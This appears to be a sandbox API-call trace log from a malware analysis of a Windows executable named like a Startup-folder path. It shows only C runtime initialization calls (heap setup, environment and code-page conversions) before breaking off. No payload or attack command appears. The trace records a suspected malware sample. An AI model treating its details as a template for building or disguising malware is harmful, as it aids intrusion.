# Flog Txt Version 1 # Analyzer Version: 3.0.2 # Analyzer Build Date: Jun 6 2019 12:21:16 # Log Creation Date: 27.06.2019 18:45:08.989 Process: id = "1" image_name = "cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" page_root = "0x4edc2000" os_pid = "0xa54" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0xa58 [0031.487] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2cfb44 | out: lpSystemTimeAsFileTime=0x2cfb44*(dwLowDateTime=0x82f14a70, dwHighDateTime=0x1d52d18)) [0031.487] GetCurrentProcessId () returned 0xa54 [0031.487] GetCurrentThreadId () returned 0xa58 [0031.487] GetTickCount () returned 0x18c95 [0031.487] QueryPerformanceCounter (in: lpPerformanceCount=0x2cfb3c | out: lpPerformanceCount=0x2cfb3c*=15163991078) returned 1 [0031.492] GetStartupInfoW (in: lpStartupInfo=0x2cfae8 | out: lpStartupInfo=0x2cfae8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x2cfb4c, hStdError=0x12a8ca4)) [0031.492] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0031.492] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0xb80000 [0031.493] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0031.493] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0031.493] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0031.493] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0031.493] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0031.494] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x214) returned 0xb807d0 [0031.494] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0031.494] GetCurrentThreadId () returned 0xa58 [0031.494] GetStartupInfoW (in: lpStartupInfo=0x2cfa84 | out: lpStartupInfo=0x2cfa84*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x12a726a, hStdOutput=0x12a75a3, hStdError=0xb807d0)) [0031.494] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x800) returned 0xb809f0 [0031.495] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0031.495] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0031.495] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0031.495] SetHandleCount (uNumber=0x20) returned 0x20 [0031.495] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe\" " [0031.495] GetEnvironmentStringsW () returned 0x584858* [0031.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0031.495] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x565) returned 0xb811f8 [0031.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0xb811f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0031.495] FreeEnvironmentStringsW (penv=0x584858) returned 1 [0031.495] GetLastError () returned 0x5 [0031.495] SetLastError (dwErrCode=0x5) [0031.495] GetLastError () returned 0x5 [0031.495] SetLastError (dwErrCode=0x5) [0031.495] GetLastError () returned 0x5 [0031.495] SetLastError (dwErrCode=0x5) [0031.495] GetACP () returned 0x4e4 [0031.495] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x220) returned 0xb81768 [0031.495] GetLastError () returned 0x5 [0031.495] SetLastError (dwErrCode=0x5) [0031.496] IsValidCodePage (CodePage=0x4e4) returned 1 [0031.496] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x2cfa4c | out: lpCPInfo=0x2cfa4c) returned 1 [0031.496] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x2cf518 | out: lpCPInfo=0x2cf518) returned 1 [0031.496] GetLastError () returned 0x5 [0031.496] SetLastError (dwErrCode=0x5) [0031.496] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2cf92c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0031.496] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2cf92c, cbMultiByte=256, lpWideCharStr=0x2cf298, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ鵧ĪĀ") returned 256 [0031.496] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ鵧ĪĀ", cchSrc=256, lpCharType=0x2cf52c | out: lpCharType=0x2cf52c) returned 1 [0031.496] GetLastError () returned 0x5 [0031.496] SetLastError (dwErrCode=0x5) [0031.496] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2cf92c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0031.496] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2cf92c, cbMultiByte=256, lpWideCharStr=0x2cf268, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0031.496] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0031.496] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x2cf058, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0031.496] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x2cf82c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x64\x8c\xc4\x05\x64\xfa\x2c", lpUsedDefaultChar=0x0) returned 256 [0031.496] GetLastError () returned 0x5 [0031.496] SetLastError (dwErrCode=0x5) [0031.496] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2cf92c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0031.496] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2cf92c, cbMultiByte=256, lpWideCharStr=0x2cf288, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0031.496] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0031.496] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x2cf078, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0031.496] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x2cf72c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x64\x8c\xc4\x05\x64\xfa\x2c", lpUsedDefaultChar=0x0) returned 256 [0031.496] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x12af728, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 0x6a [0031.496] GetLastError () returned 0x0 [0031.496] SetLastError (dwErrCode=0x0) [0031.496] GetLastError () returned 0x0 [0031.497] SetLastError (dwErrCode=0x0) [0031.497] GetLastError () returned 0x0 [0031.497] SetLastError (dwErrCode=0x0) [0031.497] GetLastError () returned 0x0 [0031.497] SetLastError (dwErrCode=0x0) [0031.497] GetLastError () returned 0x0 [0031.497] SetLastError (dwErrCode=0x0) [0031.497] GetLastError () returned 0x0 [0031.497] SetLastError (dwErrCode=0x0) [0031.497] GetLastError () returned 0x0 [0031.497] SetLastError (dwErrCode=0x0) [0031.497] GetLastError () returned 0x0 [0031.497] SetLastError (dwErrCode=0x0) [0031.497] GetLastError () returned 0x0 [0031.497] SetLastError (dwErrCode=0x0) [0031.497] GetLastError () returned 0x0 [0031.497] SetLastError (dwErrCode=0x0) [0031.497] GetLastError () returned 0x0 [0031.497] SetLastError (dwErrCode=0x0) [0031.497] GetLastError () returned 0x0 [0031.497] SetLastError (dwErrCode=0x0) [0031.497] GetLastError () returned 0x0 [0031.497] SetLastError (dwErrCode=0x0) [0031.497] GetLastError () returned 0x0 [0031.497] SetLastError 